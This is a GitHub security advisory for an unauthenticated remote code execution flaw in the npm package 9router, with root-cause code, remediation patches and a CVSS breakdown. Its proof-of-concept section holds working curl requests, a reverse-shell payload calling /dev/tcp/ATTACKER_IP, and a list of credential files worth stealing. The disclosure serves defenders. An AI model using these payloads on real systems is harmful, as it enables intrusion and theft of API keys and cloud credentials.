Skip to content

9router: Unauthenticated Remote Code Execution via unprotected MCP custom plugin routes

Critical severity GitHub Reviewed Published May 13, 2026 in decolua/9router • Updated May 19, 2026

Package

npm 9router (npm)

Affected versions

>= 0.4.30, < 0.4.37

Patched versions

0.4.37

Description

Summary

9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required.

The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.


Root Cause

1. Middleware Allowlist Is Too Narrow

File: src/proxy.js

export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
  ],
};

Next.js middleware only runs on routes matching this list. Routes NOT listed — including /api/cli-tools/* and /api/mcp/* — bypass the dashboardGuard auth check entirely.

2. Unguarded Endpoint Accepts Arbitrary Command Registration

File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319

export async function POST(request) {
  const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
  // ...
  const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];

  if (customPluginsArray.length > 0) {
    const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
    const stdioCustoms = customPluginsArray
      .filter((p) => p.command)
      .map((p) => ({
        name: p.name,
        command: p.command,   // ← attacker-controlled, no validation
        args: p.args || [],   // ← attacker-controlled, no validation
      }));
    for (const p of stdioCustoms) registerCustomPlugin(p);   // stores in globalThis
  }
}

The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins — a process-global Map that survives Hot Module Replacement.

File: src/lib/mcp/stdioSseBridge.js, lines 114–116

function registerCustomPlugin(def) {
  getCustomStore().set(def.name, def);   // no validation of command/args
}

3. Unguarded SSE Endpoint Triggers spawn() with Stored Command

File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25

export async function GET(request, { params }) {
  const { plugin } = await params;
  if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });

  const stream = new ReadableStream({
    start(controller) {
      sid = registerSession(plugin, send);   // ← spawn() called here
    },
  });
  return new Response(stream, { ... });
}

File: src/lib/mcp/stdioSseBridge.js, line 138

const proc = spawn(plugin.command, plugin.args, {
  stdio: ["pipe", "pipe", "pipe"],
  env: process.env,   // inherits full environment
});

spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.


Attack Chain

Attacker (no credentials)
    │
    │  Step 1 — Register malicious plugin (POST, no auth)
    ▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json

{
  "baseUrl": "x", "apiKey": "x", "models": ["x"],
  "customPlugins": [{
    "name":    "rev",
    "command": "/bin/bash",
    "args":    ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
  }]
}

    ← {"success":true, ...}

    │  Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)
    ▼
GET /api/mcp/rev/sse

    ← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
    ← Reverse shell connects to attacker

Time to exploit from first request: < 2 seconds.
Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).


Proof of Concept

PoC 1 — File Write (no listener required)

# Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
  -H 'Content-Type: application/json' \
  -d '{
    "baseUrl":"x","apiKey":"x","models":["x"],
    "customPlugins":[{
      "name":"rce1",
      "command":"/bin/sh",
      "args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
    }]
  }'
# → {"success":true,...}

# Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1

# Verify
cat /tmp/pwned.txt

Observed output (on local test instance):

uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/Linux

PoC 2 — Automated PoC script

# File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file

# Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444

The script (poc.py) is included in this advisory.


Impact

Category Detail
Confidentiality Full read access to server filesystem — API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials
Integrity Arbitrary file write, persistence via cron/systemd
Availability Process termination, resource exhaustion
Lateral movement docker group membership (confirmed in test) allows full container escape → host root
Scope Remote, unauthenticated, network-accessible

High-value exfiltration targets on a typical 9router host

  • ~/.claude/settings.jsonANTHROPIC_AUTH_TOKEN
  • ~/.aws/credentials, ~/.aws/sso/cache/*.json — AWS keys
  • $DATA_DIR/db.sqlite — 9router local database (all stored API keys, provider configs)
  • TLS private keys managed by the MITM proxy (src/mitm/)

Affected Versions

Version Affected Notes
< v0.4.30 No cowork-settings and MCP SSE bridge did not exist
v0.4.30 Yes Introduced in commit 8f4d29c (2026-05-11)
v0.4.31 Yes
v0.4.32 Yes
v0.4.33 Yes Latest at time of disclosure

The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.


Remediation

Fix 1 — Extend middleware matcher (minimal fix)

File: src/proxy.js

export const config = {
  matcher: [
    "/",
    "/dashboard/:path*",
    "/api/shutdown",
    "/api/settings/:path*",
    "/api/keys",
    "/api/keys/:path*",
    "/api/providers/client",
    "/api/provider-nodes/validate",
    // ADD these:
    "/api/cli-tools/:path*",
    "/api/mcp/:path*",
  ],
};

Fix 2 — Validate command in registerCustomPlugin (defense-in-depth)

File: src/lib/mcp/stdioSseBridge.js

const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);

function registerCustomPlugin(def) {
  const bin = def.command?.split("/").pop();   // basename only
  if (!ALLOWED_MCP_COMMANDS.has(bin)) {
    throw new Error(`Blocked: command '${def.command}' not in allowlist`);
  }
  getCustomStore().set(def.name, def);
}

Fix 3 — Sanitize customPlugins at the API boundary

File: src/app/api/cli-tools/cowork-settings/route.js, line 312

const stdioCustoms = customPluginsArray
  .filter((p) => p.command && typeof p.command === "string")
  .filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command)))   // allowlist check
  .map((p) => ({
    name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""),           // sanitize name
    command: p.command,
    args: (p.args || []).map(String),
  }));

All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.


References

@decolua decolua published to decolua/9router May 13, 2026
Published to the GitHub Advisory Database May 19, 2026
Reviewed May 19, 2026
Last updated May 19, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Missing Authentication for Critical Function

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources. Learn more on MITRE.

CVE ID

CVE-2026-46339

GHSA ID

GHSA-fhh6-4qxv-rpqj

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.